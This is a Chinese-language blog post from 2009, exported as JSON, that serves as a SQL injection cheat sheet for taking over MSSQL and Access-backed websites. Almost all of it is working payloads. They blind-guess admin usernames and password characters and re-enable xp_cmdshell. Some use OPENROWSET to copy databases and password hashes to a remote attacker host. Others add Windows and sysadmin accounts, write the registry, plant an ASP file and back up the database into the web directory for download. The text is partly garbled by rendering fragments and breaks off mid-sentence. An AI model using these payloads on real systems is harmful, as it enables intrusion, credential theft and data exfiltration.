{"id":267,"date":"2009-03-23T17:06:00","date_gmt":"2009-03-23T09:06:00","guid":{"rendered":""},"modified":"2013-11-22T15:30:33","modified_gmt":"2013-11-22T07:30:33","slug":"%e6%89%8b%e5%b7%a5%e6%8b%bf%e7%ab%99%e7%8c%9c%e6%b5%8b%e5%bf%85%e5%a4%87%e7%bb%8f%e5%85%b8%e8%84%9a%e6%9c%ac%e8%af%ad%e5%8f%a5","status":"publish","type":"post","link":"https:\/\/kyle.ai\/blog\/267.html","title":{"rendered":"\u624b\u5de5\u62ff\u7ad9\u731c\u6d4b\u5fc5\u5907\u7ecf\u5178\u811a\u672c\u8bed\u53e5"},"content":{"rendered":"<p>\u3010\u5224\u65ad\u6709\u65e0\u6ce8\u5165\u70b9\u3011<br \/>\n&#8216;<br \/>\nand 1=1<br \/>\nand 1=2<\/p>\n<p>\u3010\u731c\u8868\u4e00\u822c\u8868\u7684\u540d\u79f0\u65e0\u975e\u662f:admin adminuser user pass password\u3011<br \/>\nand 0(select count(*) from *)<br \/>\nand 0(select count(*) from admin) \u00a0\u00a0 \/\/\u5224\u65ad\u662f\u5426\u5b58\u5728admin\u8fd9\u5f20\u8868<\/p>\n<p>\u3010\u731c\u5e10\u53f7\u6570\u76ee\u3011<br \/>\nand 1=(select count(*) from admin where len(name)&gt;0) \u00a0\u00a0 \u00a0\u00a0 \u00a0\u00a0 \u00a0\u00a0 \u00a0\u00a0\u00a0 \/\/\u7528\u6237\u5b57\u6bb5\u540d\u79f0<br \/>\nand 1=(select count(*) from admin where len(_blank&gt;password)&gt;0) \u00a0\u00a0 \/\/\u5bc6\u7801\u5b57\u6bb5\u540d\u79f0<\/p>\n<p>\u3010\u731c\u89e3\u5404\u4e2a\u5b57\u6bb5\u7684\u957f\u5ea6\u3011<br \/>\n\u731c\u89e3\u957f\u5ea6\u5c31\u662f\u628a&gt;0\u53d8\u6362 \u76f4\u5230\u8fd4\u56de\u6b63\u786e\u9875\u9762\u4e3a\u6b62<\/p>\n<p>\u731c\u89e3\u7528\u6237\u540d:<br \/>\nand 1=(select count(*) from admin where len(*)&gt;0)<br \/>\nand 1=(select count(*) from admin where len(name)&gt;6) \u00a0\u00a0 \u00a0\u00a0 \/\/\u9519\u8bef<br \/>\nand 1=(select count(*) from admin where len(name)&gt;5) \u00a0\u00a0 \u00a0\u00a0 \/\/\u6b63\u786e \u957f\u5ea6\u662f6<br \/>\nand 1=(select count(*) from admin where len(name)=6) \u00a0\u00a0 \u00a0\u00a0 \/\/\u6b63\u786e<\/p>\n<p>\u731c\u89e3\u5bc6\u7801:<br \/>\nand 1=(select count(*) from admin where len(password)&gt;11) \/\/\u6b63\u786e<br \/>\nand 1=(select count(*) from admin where len(password)&gt;12) \/\/\u9519\u8bef \u957f\u5ea6\u662f12<br \/>\nand 1=(select count(*) from admin where len(password)=12) \/\/\u6b63\u786e<\/p>\n<p>\u3010\u731c\u89e3\u5b57\u7b26\u3011<br \/>\n\u731c\u89e3\u7528\u6237\u540d:<br \/>\nand 1=(select count(*) from admin where left(name,1)=a) \u00a0\u00a0 \/\/\u731c\u89e3\u7528\u6237\u5e10\u53f7\u7684\u7b2c\u4e00\u4f4d<br \/>\nand 1=(select count(*) from admin where left(name,2)=ab) \u00a0\u00a0 \/\/\u731c\u89e3\u7528\u6237\u5e10\u53f7\u7684\u7b2c\u4e8c\u4f4d<\/p>\n<p>\u5c31\u8fd9\u6837\u4e00\u6b21\u52a0\u4e00\u4e2a\u5b57\u7b26\u8fd9\u6837\u731c,\u731c\u5230\u591f\u4f60\u521a\u624d\u731c\u51fa\u6765\u7684\u591a\u5c11\u4f4d\u4e86\u5c31\u5bf9\u4e86,\u5e10\u53f7\u5c31\u7b97\u51fa\u6765\u4e86<\/p>\n<p>\u731c\u89e3\u5bc6\u7801:<br \/>\nand 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51)<\/p>\n<p>\u8fd9\u4e2a\u67e5\u8be2\u8bed\u53e5\u53ef\u4ee5\u731c\u89e3\u4e2d\u6587\u7684\u7528\u6237\u548c_blank&gt;\u5bc6\u7801.<\/p>\n<p>\u53ea\u8981\u628a\u540e\u9762\u7684\u6570\u5b57\u6362\u6210\u4e2d\u6587\u7684ASSIC\u7801\u5c31OK.<\/p>\n<p>\u6700\u540e\u628a\u7ed3\u679c\u518d\u8f6c\u6362\u6210\u5b57\u7b26.<\/p>\n<p>\u3010\u67e5\u770b_blank&gt;\u6570\u636e\u5e93\u8fde\u63a5\u8d26\u53f7\u7684\u6743\u9650:\u5982\u8fd4\u56de\u6b63\u5e38\u8bc1\u660e\u662f_blank&gt;\u670d\u52a1\u5668\u89d2\u8272sysadmin\u6743\u9650\u3011<br \/>\nand 1=(select @@VERSION)<\/p>\n<p>\u3010\u5224\u65ad\u8fde\u63a5_blank&gt;\u6570\u636e\u5e93\u5e10\u53f7:\u5982\u91c7\u7528SA\u8d26\u53f7\u8fde\u63a5\u8fd4\u56de\u6b63\u5e38\u5c31\u8bc1\u660e\u4e86\u8fde\u63a5\u8d26\u53f7\u662fSA\u6743\u9650\u3011<br \/>\nand 1=(SELECT IS_blank&gt;_SRVROLEMEMBER(sysadmin))<\/p>\n<p>and sa=(SELECT System_blank&gt;_user)<br \/>\nand user_blank&gt;_name()=dbo<br \/>\nand 0(select user_blank&gt;_name()<\/p>\n<p>\u3010\u770bxp_blank&gt;_cmdshell\u662f\u5426\u5220\u9664\u3011<br \/>\nand 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank&gt;_cmdshell)<br \/>\nxp_blank&gt;_cmdshell\u88ab\u5220\u9664\uff0c\u6062\u590d,\u652f\u6301\u7edd\u5bf9\u8def\u5f84\u7684\u6062\u590d<\/p>\n<p>\u3010\u7206\u5e93\u3011<br \/>\n\u7279\u6b8a_blank&gt;\u6280\u5de7\uff1a:%5c=\\ \u6216\u8005\u628a\/\u548c\\ \u4fee\u6539%5\u63d0\u4ea4<br \/>\nand 0(select top 1 paths from newtable)<br \/>\n\u5f97\u5230\u5e93\u540d\uff08\u4ece1\u52305\u90fd\u662f\u7cfb\u7edf\u7684ID\uff0c6\u4ee5\u4e0a\u624d\u53ef\u4ee5\u5224\u65ad\uff09<br \/>\nand 1=(select name from master.dbo.sysdatabases where dbid=7)<br \/>\nand 0(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6)<br \/>\n\u4f9d\u6b21\u63d0\u4ea4 dbid = 7,8,9&#8230;.<\/p>\n<p>\u5f97\u5230\u66f4\u591a\u7684_blank&gt;\u6570\u636e\u5e93\u540d<br \/>\nand 0(select top 1 name from bbs.dbo.sysobjects where xtype=U) \u66b4\u5230\u4e00\u4e2a\u8868\u5047\u8bbe\u4e3aadmin<\/p>\n<p>and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin))<br \/>\n\u6765\u5f97\u5230\u5176\u4ed6\u7684\u8868\u3002<\/p>\n<p>and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin<\/p>\n<p>and uid&gt;(str (id)))\u66b4\u5230UID\u7684\u6570\u503c\u5047\u8bbe\u4e3a18779569 uid=id<br \/>\nand 0(select top 1 name from bbs.dbo.syscolumns where id=18779569)<br \/>\n\u5f97\u5230\u4e00\u4e2aadmin\u7684\u4e00\u4e2a\u5b57\u6bb5,\u5047\u8bbe\u4e3a user_blank&gt;_id<br \/>\nand 0(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (id,&#8230;)) \u6765\u66b4\u51fa\u5176\u4ed6\u7684\u5b57\u6bb5<br \/>\nand 0_id from BBS.dbo.admin where username&gt;1)<br \/>\n\u53ef\u4ee5\u5f97\u5230\u7528\u6237\u540d\u4f9d\u6b21\u53ef\u4ee5\u5f97\u5230_blank&gt;\u5bc6\u7801\u3002\u5047\u8bbe\u5b58\u5728user_blank&gt;_id username ,password \u7b49\u5b57\u6bb5<br \/>\nand 0(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6)<br \/>\nand 0 (select top 1 name from bbs.dbo.sysobjects where xtype=U) \u5f97\u5230\u8868\u540d<br \/>\nand 0(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))<br \/>\nand 0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin<br \/>\nand uid&gt;(str(id))) \u5224\u65adid\u503c<br \/>\nand 0(select top 1 name from BBS.dbo.syscolumns where id=773577794) \u6240\u6709\u5b57\u6bb5<br \/>\n?id=-1 union select<br \/>\n1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin<br \/>\n?id=-1 union select<br \/>\n1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union\uff0caccess\u4e5f\u597d\u7528)<\/p>\n<p>\u3010\u5f00\u542f\u8fdc\u7a0b_blank&gt;\u6570\u636e\u5e93\u3011<br \/>\nselect * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )<\/p>\n<p>\u3010\u5176\u4e2d\u8fde\u63a5\u5b57\u7b26\u4e32\u53c2\u6570\u53ef\u4ee5\u662f\u4efb\u4f55\u7aef\u53e3\u7528\u6765\u8fde\u63a5\u3011<br \/>\n\u6bd4\u5982\uff1a<br \/>\nselect * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433<br \/>\nselect * from table<\/p>\n<p>\u3010\u590d\u5236\u76ee\u6807\u4e3b\u673a\u7684\u6574\u4e2a_blank&gt;\u6570\u636e\u5e93\u3011<br \/>\ninsert\u6240\u6709\u8fdc\u7a0b\u8868\u5230\u672c\u5730\u8868<br \/>\n\u57fa\u672c\u8bed\u6cd5\uff1a<br \/>\ninsert into OPENROWSET(SQLOLEDB,<br \/>\nserver=servername;uid=sa;pwd=123, select * from table1) select * from table2<br \/>\n\u8fd9\u884c\u8bed\u53e5\u5c06\u76ee\u6807\u4e3b\u673a\u4e0atable2\u8868\u4e2d\u7684\u6240\u6709\u6570\u636e\u590d\u5236\u5230\u8fdc\u7a0b_blank&gt;\u6570\u636e\u5e93\u4e2d\u7684table1\u8868\u4e2d\u3002\u5b9e\u9645\u8fd0\u7528\u4e2d\u9002\u5f53\u4fee\u6539\u8fde\u63a5\u5b57\u7b26\u4e32\u7684IP\u5730\u5740\u548c\u7aef\u53e3\uff0c\u6307\u5411\u9700\u8981\u7684\u5730\u65b9<\/p>\n<p>\u6bd4\u5982\uff1a<br \/>\ninsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=<br \/>\nxxx.xxx.xxx.xxx,1433;,select * from table1) select * from table2<br \/>\ninsert into<br \/>\nOPENROWSET(SQLOLEDB,uid=sa;pwd=<br \/>\n123;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;,select * from<br \/>\n_blank&gt;_sysdatabases)<br \/>\nselect * from master.dbo.sysdatabases<br \/>\ninsert<br \/>\ninto OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=<br \/>\nxxx.xxx.xxx.xxx,1433;,select * from _blank&gt;_sysobjects)<br \/>\nselect * from<br \/>\nuser_blank&gt; _database.dbo.sysobjects<br \/>\ninsert into<br \/>\nOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=<br \/>\nxxx.xxx.xxx.xxx,1433;,select * from _blank&gt;_syscolumns)<br \/>\nselect * from<br \/>\nuser_blank&gt; _database.dbo.syscolumns<\/p>\n<p>\u3010\u590d\u5236_blank&gt;\u6570\u636e\u5e93\u3011<br \/>\ninsert into<br \/>\nOPENROWSET(SQLOLEDB,uid=sa;pwd=<br \/>\n123;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;,select * from table1) select *<br \/>\nfrom database..table1<br \/>\ninsert into<br \/>\nOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;,select<br \/>\n* from table2) select * from database..table2<\/p>\n<p>\u3010\u590d\u5236\u54c8\u897f\u8868\uff08HASH\uff09\u767b\u5f55_blank&gt;\u5bc6\u7801\u7684hash\u5b58\u50a8\u4e8esysxlogins\u4e2d\u3011<br \/>\ninsert into<br \/>\nOPENROWSET (SQLOLEDB,<br \/>\nuid=sa;pwd=123;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;,select * from<br \/>\n_blank&gt;_sysxlogins) select * from database.dbo.sysxlogins<br \/>\n\u5f97\u5230hash\u4e4b\u540e\uff0c\u5c31\u53ef\u4ee5\u8fdb\u884c\u66b4\u529b\u7834\u89e3\u3002<br \/>\n\u904d\u5386\u76ee\u5f55\u7684\u65b9\u6cd5\uff1a \u5148\u521b\u5efa\u4e00\u4e2a\u4e34\u65f6\u8868\uff1atemp<br \/>\n;create table temp(id<br \/>\nnvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));<br \/>\n;insert temp exec master.dbo.xp_blank&gt;_availablemedia;\u83b7\u5f97\u5f53\u524d\u6240\u6709\u9a71\u52a8\u5668<br \/>\n;insert into temp(id) exec master.dbo.xp_blank&gt;_subdirs c:\\;\u83b7\u5f97\u5b50\u76ee\u5f55\u5217\u8868<br \/>\n;insert into temp(id,num1) exec master.dbo.xp_blank&gt;_dirtree c:\\;<\/p>\n<p>\u3010\u83b7\u5f97\u6240\u6709\u5b50\u76ee\u5f55\u7684\u76ee\u5f55\u6811\u7ed3\u6784,\u5e76\u5bf8\u5165temp\u8868\u4e2d\u3011<br \/>\n;insert into temp(id) exec<br \/>\nmaster.dbo.xp_blank&gt;_cmdshell type c:\\web\\index.asp;\u67e5\u770b\u67d0\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9<br \/>\n;insert<br \/>\ninto temp(id) exec master.dbo.xp_blank&gt;_cmdshell dir c:\\;<br \/>\n;insert into<br \/>\ntemp(id) exec master.dbo.xp_blank&gt;_cmdshell dir c:\\ *.asp \/s\/a;<br \/>\n;insert<br \/>\ninto temp(id) exec master.dbo.xp_blank&gt; _cmdshell cscript<br \/>\nC:\\Inetpub\\AdminScripts\\adsutil.vbs enum w3svc<br \/>\n;insert into temp(id,num1)<br \/>\nexec master.dbo.xp_blank&gt;_dirtree c:\\;\uff08xp_blank&gt;_dirtree\u9002\u7528\u6743\u9650PUBLIC\uff09<\/p>\n<p>\u3010\u5199\u5165\u8868\u3011<br \/>\n\u8bed\u53e51\uff1aand 1= (SELECT IS_blank&gt;_SRVROLEMEMBER(sysadmin));<br \/>\n\u8bed\u53e52\uff1aand 1=(SELECT IS_blank&gt;_SRVROLEMEMBER (serveradmin));<br \/>\n\u8bed\u53e53\uff1aand<br \/>\n1=(SELECT IS_blank&gt;_SRVROLEMEMBER(setupadmin));<br \/>\n\u8bed\u53e54\uff1aand 1=(SELECT<br \/>\nIS_blank&gt;_SRVROLEMEMBER(securityadmin));<br \/>\n\u8bed\u53e55\uff1aand 1=(SELECT<br \/>\nIS_blank&gt;_SRVROLEMEMBER (securityadmin));<br \/>\n\u8bed\u53e56\uff1aand 1=(SELECT<br \/>\nIS_blank&gt;_SRVROLEMEMBER(diskadmin));<br \/>\n\u8bed\u53e57\uff1aand 1= (SELECT<br \/>\nIS_blank&gt;_SRVROLEMEMBER(bulkadmin));<br \/>\n\u8bed\u53e58\uff1aand 1=(SELECT<br \/>\nIS_blank&gt;_SRVROLEMEMBER (bulkadmin));<br \/>\n\u8bed\u53e59\uff1aand 1=(SELECT<br \/>\nIS_blank&gt;_MEMBER(db_blank&gt;_owner));<\/p>\n<p>\u3010\u628a\u8def\u5f84\u5199\u5230\u8868\u4e2d\u53bb\u3011<br \/>\n;create table<br \/>\ndirs(paths varchar(100), id int)<br \/>\n;insert dirs exec<br \/>\nmaster.dbo.xp_blank&gt;_dirtree c:\\<br \/>\nand 0(select top 1 paths from<br \/>\ndirs)<br \/>\nand 0 (select top 1 paths from dirs where paths not<br \/>\nin(@Inetpub))<br \/>\n;create table dirs1(paths varchar(100), id int)<br \/>\n;insert dirs exec master.dbo.xp_blank&gt;_dirtree e:\\web<br \/>\nand<br \/>\n0(select top 1 paths from dirs1)<\/p>\n<p>\u3010\u628a_blank&gt;\u6570\u636e\u5e93\u5907\u4efd\u5230\u7f51\u9875\u76ee\u5f55\u4e0b\u8f7d\u3011<br \/>\ndeclare @a sysname; set @a=db_blank&gt;_name();backup database @a to<br \/>\ndisk=e:\\web\\down.bak;<br \/>\nand 1=(Select top 1 name from(Select top 12<br \/>\nid,name from sysobjects where xtype=char(85)) T order by id desc)<br \/>\nand<br \/>\n1=(Select Top 1 col_blank&gt;_name(object_blank&gt;_id(USER_blank&gt;_LOGIN),1)<br \/>\nfrom sysobjects)<\/p>\n<p>\u3010\u53c2\u770b\u76f8\u5173\u8868\u3011<br \/>\nand 1=(select user_blank&gt;_id from<br \/>\nUSER_blank&gt;_LOGIN)<br \/>\nand 0=(select user from USER_blank&gt;_LOGIN where<br \/>\nuser&gt;1)<br \/>\n-=- wscript.shell example -=-<br \/>\ndeclare @o int<br \/>\nexec<br \/>\nsp_blank&gt;_oacreate wscript.shell, @o out<br \/>\nexec sp_blank&gt;_oamethod @o,<br \/>\nrun, NULL, notepad.exe<br \/>\n; declare @o int exec sp_blank&gt;_oacreate<br \/>\nwscript.shell, @o out exec sp_blank&gt;_oamethod @o, run, NULL, notepad.exe<br \/>\ndeclare @o int, @f int, @t int, @ret int<br \/>\ndeclare @line varchar(8000)<br \/>\nexec sp_blank&gt;_oacreate scripting.filesystemobject, @o out<br \/>\nexec<br \/>\nsp_blank&gt;_oamethod @o, opentextfile, @f out, c:\\boot.ini, 1<br \/>\nexec @ret =<br \/>\nsp_blank&gt;_oamethod @f, readline, @line out<br \/>\nwhile( @ret = 0 )<br \/>\nbegin<br \/>\nprint @line<br \/>\nexec @ret = sp_blank&gt;_oamethod @f, readline, @line out<br \/>\nend<br \/>\ndeclare @o int, @f int, @t int, @ret int<br \/>\nexec<br \/>\nsp_blank&gt;_oacreate scripting.filesystemobject, @o out<br \/>\nexec<br \/>\nsp_blank&gt;_oamethod @o, createtextfile, @f out, c:\\inetpub\\wwwroot\\foo.asp, 1<br \/>\nexec @ret = sp_blank&gt;_oamethod @f, writeline, NULL,<br \/>\ndeclare @o int, @ret int<br \/>\nexec sp_blank&gt;_oacreate<br \/>\nspeech.voicetext, @o out<br \/>\nexec sp_blank&gt; _oamethod @o, register, NULL,<br \/>\nfoo, bar<br \/>\nexec sp_blank&gt;_oasetproperty @o, speed, 150<br \/>\nexec<br \/>\nsp_blank&gt;_oamethod @o, speak, NULL, all your sequel servers are belong to,us,<br \/>\n528<br \/>\nwaitfor delay 00:00:05<br \/>\n; declare @o int, @ret int exec<br \/>\nsp_blank&gt;_oacreate speech.voicetext, @o out exec sp_blank&gt;_oamethod @o,<br \/>\nregister, NULL, foo, bar exec sp_blank&gt;_oasetproperty @o, speed, 150 exec<br \/>\nsp_blank&gt;_oamethod @o, speak, NULL, all your sequel servers are belong to us,<br \/>\n528 waitfor delay 00:00:05<br \/>\nxp_blank&gt;_dirtree\u9002\u7528\u6743\u9650PUBLIC<br \/>\nexec<br \/>\nmaster.dbo.xp_blank&gt;_dirtree c:\\<\/p>\n<p>\u3010\u8fd4\u56de\u7684\u4fe1\u606f\u6709\u4e24\u4e2a\u5b57\u6bb5\u3011<br \/>\nsubdirectory\u3001depth\u3002Subdirectory\u5b57\u6bb5\u662f\u5b57\u7b26\u578b\uff0cdepth\u5b57\u6bb5\u662f\u6574\u5f62\u5b57\u6bb5\u3002<br \/>\ncreate table dirs(paths<br \/>\nvarchar(100), id int)<\/p>\n<p>\u5efa\u8868\uff0c\u8fd9\u91cc\u5efa\u7684\u8868\u662f\u548c\u4e0a\u9762xp_blank&gt;_dirtree\u76f8\u5173\u8fde\uff0c\u5b57\u6bb5\u76f8\u7b49\u3001\u7c7b\u578b\u76f8\u540c\u3002<br \/>\ninsert dirs exec master.dbo.xp_blank&gt;_dirtree c:\\<br \/>\n\u53ea\u8981\u6211\u4eec\u5efa\u8868\u4e0e\u5b58\u50a8\u8fdb\u7a0b\u8fd4\u56de\u7684\u5b57\u6bb5\u76f8\u5b9a\u4e49\u76f8\u7b49\u5c31\u80fd\u591f\u6267\u884c\uff01\u8fbe\u5230\u5199\u8868\u7684\u6548\u679c,<br \/>\n\u4e00\u6b65\u6b65\u8fbe\u5230\u6211\u4eec\u60f3\u8981\u7684\u4fe1\u606f.<\/p>\n<p>\u3010\u963fD\u5e38\u7528\u6ce8\u5165\u547d\u4ee4\u3011<br \/>\n\u3010\u770b\u770b\u662f\u4ec0\u4e48\u6743\u9650\u3011<br \/>\nand 1=(Select IS_MEMBER(&#8216;db_owner&#8217;))<br \/>\nAnd char(124)%2BCast(IS_MEMBER(&#8216;db_owner&#8217;) as varchar(1))%2Bchar(124)=1<\/p>\n<p>\u3010\u68c0\u6d4b\u662f\u5426\u6709\u8bfb\u53d6\u67d0\u6570\u636e\u5e93\u7684\u6743\u9650\u3011<br \/>\nand 1= (Select HAS_DBACCESS(&#8216;master&#8217;))<br \/>\nAnd char(124)%2BCast(HAS_DBACCESS(&#8216;master&#8217;) as varchar(1))%2Bchar(124)=1<\/p>\n<p>\u3010\u6570\u5b57\u7c7b\u578b\u3011<br \/>\nand char(124)%2Buser%2Bchar(124)=0<\/p>\n<p>\u3010\u5b57\u7b26\u7c7b\u578b\u3011<br \/>\nand char(124)%2Buser%2Bchar(124)=0 and &#8221;=&#8217;<\/p>\n<p>\u3010\u641c\u7d22\u7c7b\u578b\u3011<br \/>\nand char(124)%2Buser%2Bchar(124)=0 and &#8216;%&#8217;=&#8217;<\/p>\n<p>\u3010\u7206\u7528\u6237\u540d\u3011<br \/>\nand user&gt;0&#8242; and user&gt;0 and &#8221;=&#8217;<\/p>\n<p>\u3010\u68c0\u6d4b\u662f\u5426\u4e3aSA\u6743\u9650\u3011<br \/>\nand 1=(select IS_SRVROLEMEMBER(&#8216;sysadmin&#8217;))<br \/>\nAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1<\/p>\n<p>\u3010\u68c0\u6d4b\u662f\u4e0d\u662fMSSQL\u6570\u636e\u5e93\u3011<br \/>\nand exists (select * from sysobjects)<\/p>\n<p>\u3010\u68c0\u6d4b\u662f\u5426\u652f\u6301\u591a\u884c\u3011<br \/>\ndeclare @d int<\/p>\n<p>\u3010\u6062\u590d xp_cmdshell\u3011<br \/>\nexec master..dbo.sp_addextendedproc &#8216;xp_cmdshell&#8217;,&#8217;xplog70.dll&#8217;<\/p>\n<p>select * from openrowset(&#8216;sqloledb&#8217;,&#8217;server=xxx.xxx.xxx.xxx,1433;uid=test;pwd=pafpaf&#8217;,&#8217;select @@version&#8217;)<\/p>\n<p>\u3010\u6267\u884c\u547d\u4ee4\u3011<\/p>\n<p>\u3010\u9996\u5148\u5f00\u542f\u6c99\u76d8\u6a21\u5f0f\u3011<br \/>\nexec master..xp_regwrite &#8216;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\\Microsoft\\Jet\\4.0\\Engines&#8217;,&#8217;SandBoxMode&#8217;,&#8217;REG_DWORD&#8217;,1<\/p>\n<p>\u3010\u7136\u540e\u5229\u7528jet.oledb\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3011<br \/>\nselect * from openrowset(&#8216;microsoft.jet.oledb.4.0&#8242;,&#8217;;database=c:\\winnt\\system32\\ias\\ias.mdb&#8217;,&#8217;select shell(&#8220;cmd.exe \/c net user admin admin1234 \/add&#8221;)&#8217;)<\/p>\n<p>\u3010\u6267\u884c\u547d\u4ee4\u3011<br \/>\n;DECLARE @shell INT EXEC SP_OAcreate &#8216;wscript.shell&#8217;,@shell OUTPUT EXEC SP_OAMETHOD @shell,&#8217;run&#8217;,null, &#8216;C:\\WINNT\\system32\\cmd.exe \/c net user paf pafpaf \/add&#8217;;<br \/>\nEXEC [master].[dbo].[xp_cmdshell] &#8216;cmd \/c md c:\\1111&#8217;<\/p>\n<p>\u3010\u5224\u65adxp_cmdshell\u6269\u5c55\u5b58\u50a8\u8fc7\u7a0b\u662f\u5426\u5b58\u5728\u3011<br \/>\n<a href=\"http:\/\/xxx.xxx.xxx.xxx\/display.asp?keyno=188\" target=\"_blank\">http:\/\/xxx.xxx.xxx.xxx\/display.asp?keyno=188<\/a> and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = &#8216;X&#8217; AND name = &#8216;xp_cmdshell&#8217;)<\/p>\n<p>\u3010\u5199\u6ce8\u518c\u8868\u3011<br \/>\nexec master..xp_regwrite &#8216;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\\Microsoft\\Jet\\4.0\\Engines&#8217;,&#8217;SandBoxMode&#8217;,&#8217;REG_DWORD&#8217;,1<br \/>\nREG_SZ<\/p>\n<p>\u3010\u8bfb\u6ce8\u518c\u8868\u3011<br \/>\nexec master..xp_regread &#8216;HKEY_LOCAL_MACHINE&#8217;,&#8217;SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon&#8217;,&#8217;Userinit&#8217;<\/p>\n<p>\u3010\u8bfb\u53d6\u76ee\u5f55\u5185\u5bb9\u3011<br \/>\nexec master..xp_dirtree &#8216;c:\\winnt\\system32\\&#8217;,1,1<\/p>\n<p>\u3010\u6570\u636e\u5e93\u5907\u4efd\u3011<br \/>\nbackup database pubs to disk = &#8216;c:\\123.bak&#8217;<\/p>\n<p>\u3010\u7206\u51fa\u957f\u5ea6\u3011<br \/>\nAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0<\/p>\n<p>\u3010\u66f4\u6539sa\u53e3\u4ee4\u65b9\u6cd5\uff1a\u7528sql\u7efc\u5408\u5229\u7528\u5de5\u5177\u8fde\u63a5\u540e\uff0c\u6267\u884c\u547d\u4ee4\u3011<br \/>\nexec sp_password NULL,&#8217;\u65b0\u5bc6\u7801&#8217;,&#8217;sa&#8217;<\/p>\n<p>\u3010\u6dfb\u52a0\u548c\u5220\u9664\u4e00\u4e2aSA\u6743\u9650\u7684\u7528\u6237test\u3011<br \/>\nexec master.dbo.sp_addlogin test,ptlove<br \/>\nexec master.dbo.sp_addsrvrolemember test,sysadmin<\/p>\n<p>\u3010\u5220\u9664\u6269\u5c55\u5b58\u50a8\u8fc7\u8fc7\u7a0bxp_cmdshell\u7684\u8bed\u53e5\u3011<br \/>\nexec sp_dropextendedproc &#8216;xp_cmdshell&#8217;<\/p>\n<p>\u3010\u6dfb\u52a0\u6269\u5c55\u5b58\u50a8\u8fc7\u8fc7\u7a0b\u3011<br \/>\nEXEC [master]..sp_addextendedproc &#8216;xp_proxiedadata&#8217;, &#8216;c:\\winnt\\system32\\sqllog.dll&#8217;<br \/>\nGRANT exec On xp_proxiedadata TO public<\/p>\n<p>\u3010\u505c\u6389\u6216\u6fc0\u6d3b\u67d0\u4e2a\u670d\u52a1\u3011<br \/>\nexec master..xp_servicecontrol &#8216;stop&#8217;,&#8217;schedule&#8217;<br \/>\nexec master..xp_servicecontrol &#8216;start&#8217;,&#8217;schedule&#8217;<br \/>\ndbo.xp_subdirs<\/p>\n<p>\u3010\u53ea\u5217\u67d0\u4e2a\u76ee\u5f55\u4e0b\u7684\u5b50\u76ee\u5f55\u3011<br \/>\nxp_getfiledetails &#8216;C:\\Inetpub\\wwwroot\\SQLInject\\login.asp&#8217;<br \/>\ndbo.xp_makecab<br \/>\n\u5c06\u76ee\u6807\u591a\u4e2a\u6863\u6848\u538b\u7f29\u5230\u67d0\u4e2a\u76ee\u6807\u6863\u6848\u4e4b\u5185\u3002<br \/>\n\u6240\u6709\u8981\u538b\u7f29\u7684\u6863\u6848\u90fd\u53ef\u4ee5\u63a5\u5728\u53c2\u6570\u5217\u7684\u6700\u540e\u65b9\uff0c\u4ee5\u9017\u53f7\u9694\u5f00<br \/>\ndbo.xp_makecab<br \/>\n&#8216;c:\\test.cab&#8217;,&#8217;mszip&#8217;,1,<br \/>\n&#8216;C:\\Inetpub\\wwwroot\\SQLInject\\login.asp&#8217;,<br \/>\n&#8216;C:\\Inetpub\\wwwroot\\SQLInject\\securelogin.asp&#8217;<br \/>\nxp_terminate_process<br \/>\n\u505c\u6389\u67d0\u4e2a\u6267\u884c\u4e2d\u7684\u7a0b\u5e8f\uff0c\u4f46\u8d4b\u4e88\u7684\u53c2\u6570\u662f Process ID\u3002<br \/>\n\u5229\u7528\u201d\u5de5\u4f5c\u7ba1\u7406\u5458\u201d\uff0c\u900f\u8fc7\u9009\u5355\u300c\u68c0\u89c6\u300d-\u300c\u9009\u62e9\u5b57\u6bb5\u300d\u52fe\u9009 pid\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u6bcf\u4e2a\u6267\u884c\u7a0b\u5e8f\u7684 Process ID<br \/>\nxp_terminate_process 2484<br \/>\nxp_unpackcab<br \/>\n\u89e3\u5f00\u538b\u7f29\u6863\u3002<br \/>\nxp_unpackcab &#8216;c:\\test.cab&#8217;,&#8217;c:\\temp&#8217;,1<br \/>\n\u67d0\u673a\uff0c\u5b89\u88c5\u4e86radmin\uff0c\u5bc6\u7801\u88ab\u4fee\u6539\u4e86\uff0cregedit.exe\u4e0d\u77e5\u9053\u88ab\u5220\u9664\u4e86\u8fd8\u662f\u88ab\u6539\u540d\u4e86\uff0cnet.exe\u4e0d\u5b58\u5728\uff0c\u6ca1\u6709\u529e\u6cd5\u4f7f\u7528regedit \/e 